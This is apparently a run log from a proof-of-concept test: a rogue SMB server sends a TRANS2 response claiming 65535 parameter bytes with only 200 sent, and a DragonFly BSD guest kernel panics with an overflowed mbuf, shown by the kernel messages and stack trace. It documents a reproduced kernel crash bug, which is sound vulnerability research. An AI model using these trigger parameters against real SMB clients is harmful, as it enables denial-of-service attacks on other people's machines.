=== DF-0624 live run (CLAIM_PCOUNT=65535, BODY=200) — guest client driver output ===
[server started on host 0.0.0.0:445+139]
[guest: kldload smb; mount_smbfs -N -I 10.0.2.2 //guest@10.0.2.2/share; ls]

=== host server.log (protocol exchange) ===
[20:22:14] CLAIM_PCOUNT=65535 BODY_BYTES=200 (lie over-read = 65335 bytes)
[20:22:14] listening on 0.0.0.0:445 (nbss=False)
[20:22:14] listening on 0.0.0.0:139 (nbss=True)
[20:22:16] connection from 127.0.0.1:40406
[20:22:16] NBSS session established
[20:22:16] RX cmd=0x72 pid=1 tid=65535 uid=65535 mid=0 bodylen=132
[20:22:16] RX cmd=0x73 pid=1 tid=65535 uid=65535 mid=1 bodylen=60
[20:22:16] RX cmd=0x75 pid=1 tid=65535 uid=65535 mid=2 bodylen=32
[20:22:16] RX cmd=0x32 pid=1 tid=1 uid=65535 mid=3 bodylen=51
[20:22:16] TRIGGER TRANS2: claiming pcount=65535 but body=200 bytes (poff=55) -> m_len inflation
[20:22:31] conn end: TimeoutError('timed out')
[20:22:31] connection closed

=== guest kernel reaction (dfbsd-qemu/boot.log) ===
  5:202:login: netsmb_dev: loaded
  6:203:bug: ecnt = 16705, but data is NULL (please report)
  7:204:md_get_mem(474): incomplete copy
  8:205:md_get_mem(474): incomplete copy
  9:206:md_get_mem(474): incomplete copy
  10:207:md_get_mem(474): incomplete copy
  11:208:md_get_mem(474): incomplete copy
  12:209:md_get_mem(474): incomplete copy
  13:210:md_get_mem(474): incomplete copy
  14:211:md_get_mem(474): incomplete copy
  15:212:md_get_mem(474): incomplete copy
  16:213:md_get_mem(474): incomplete copy
  17:214:md_get_mem(474): incomplete copy
  18:215:bug: ecnt = 16705, but data is NULL (please report)
  19:216:md_get_mem(474): incomplete copy
  20:217:md_get_mem(474): incomplete copy
  21:218:md_get_mem(474): incomplete copy
  22:219:md_get_mem(474): incomplete copy
  23:220:md_get_mem(474): incomplete copy
  24:221:md_get_mem(474): incomplete copy
  25:222:md_get_mem(474): incomplete copy
  26:223:md_get_mem(474): incomplete copy
  27:224:md_get_mem(474): incomplete copy
  28:225:md_get_mem(474): incomplete copy
  29:226:md_get_mem(474): incomplete copy
  30:227:panic: overflowed mbuf 0xfffff801175c3c00
  31:228:cpuid = 1
  32:229:Trace beginning at frame 0xfffff8011799b5e8
  33:230:m_free() at m_free+0x351 0xffffffff806bdff1 
  34:231:m_free() at m_free+0x351 0xffffffff806bdff1 
  35:232:m_freem() at m_freem+0x15 0xffffffff806be265 
  36:233:md_done() at md_done+0x1c 0xffffffff827b57bc 
  37:234:smb_t2_done() at smb_t2_done+0x2a 0xffffffff826163ea 
  38:235:smbfs_findclose() at smbfs_findclose+0x86 0xffffffff82620ec6 
  39:236:Debugger("panic")
  40:240:Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
  41:241:db> 

RESULT: kernel PANIC (overflowed mbuf) -> guest DOWN. Bug reproduced.